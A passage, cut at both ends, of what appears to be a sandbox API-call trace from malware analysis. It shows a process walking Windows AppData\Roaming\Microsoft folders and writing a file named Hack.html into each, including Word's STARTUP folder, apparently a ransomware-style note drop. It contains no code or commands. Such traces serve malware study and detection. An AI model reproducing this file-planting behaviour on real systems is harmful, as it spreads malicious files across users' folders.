HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.580] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.580] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.580] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x52 [0079.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpFilePart=0x0) returned 0x53 [0079.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.581] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.581] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.581] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Hack.html", lpFilePart=0x0) returned 0x5c [0079.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.582] GetFileType (hFile=0x174) returned 0x1 [0079.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.582] GetFileType (hFile=0x174) returned 0x1 [0079.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x52 [0079.583] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpFilePart=0x0) returned 0x53 [0079.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.583] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.583] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.583] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x52 [0079.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpFilePart=0x0) returned 0x53 [0079.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0079.584] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.584] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.584] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Hack.html", lpFilePart=0x0) returned 0x5c [0079.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.585] GetFileType (hFile=0x174) returned 0x1 [0079.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.585] GetFileType (hFile=0x174) returned 0x1 [0079.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Hack.html", lpFilePart=0x0) returned 0x57 [0079.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.586] GetFileType (hFile=0x174) returned 0x1 [0079.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.586] GetFileType (hFile=0x174) returned 0x1 [0079.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Hack.html", lpFilePart=0x0) returned 0x54 [0079.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.587] GetFileType (hFile=0x174) returned 0x1 [0079.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.587] GetFileType (hFile=0x174) returned 0x1 [0079.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x41 [0079.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\", lpFilePart=0x0) returned 0x42 [0079.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.589] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.589] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.589] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.590] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates", lpFilePart=0x0) returned 0x41 [0079.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\", lpFilePart=0x0) returned 0x42 [0079.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.590] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.590] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.590] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.591] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Hack.html", lpFilePart=0x0) returned 0x4b [0079.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.591] GetFileType (hFile=0x174) returned 0x1 [0079.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.591] GetFileType (hFile=0x174) returned 0x1 [0079.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x3e [0079.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\", lpFilePart=0x0) returned 0x3f [0079.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.593] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.594] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof", lpFilePart=0x0) returned 0x3e [0079.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\", lpFilePart=0x0) returned 0x3f [0079.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.594] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\Hack.html", lpFilePart=0x0) returned 0x48 [0079.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.595] GetFileType (hFile=0x174) returned 0x1 [0079.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.595] GetFileType (hFile=0x174) returned 0x1 [0079.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x3c [0079.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\", lpFilePart=0x0) returned 0x3d [0079.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.599] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.599] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.599] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.599] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x3c [0079.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\", lpFilePart=0x0) returned 0x3d [0079.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0079.599] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.600] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.600] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.600] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x44 [0079.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", lpFilePart=0x0) returned 0x45 [0079.600] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.601] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.601] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.601] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x44 [0079.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\", lpFilePart=0x0) returned 0x45 [0079.602] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0079.602] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.602] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.602] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\Hack.html", lpFilePart=0x0) returned 0x4e [0079.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\word\\startup\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.603] GetFileType (hFile=0x174) returned 0x1 [0079.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.603] GetFileType (hFile=0x174) returned 0x1 [0079.604] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\Hack.html", lpFilePart=0x0) returned 0x46 [0079.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\word\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.604] GetFileType (hFile=0x174) returned 0x1 [0079.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.604] GetFileType (hFile=0x174) returned 0x1 [0079.605] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 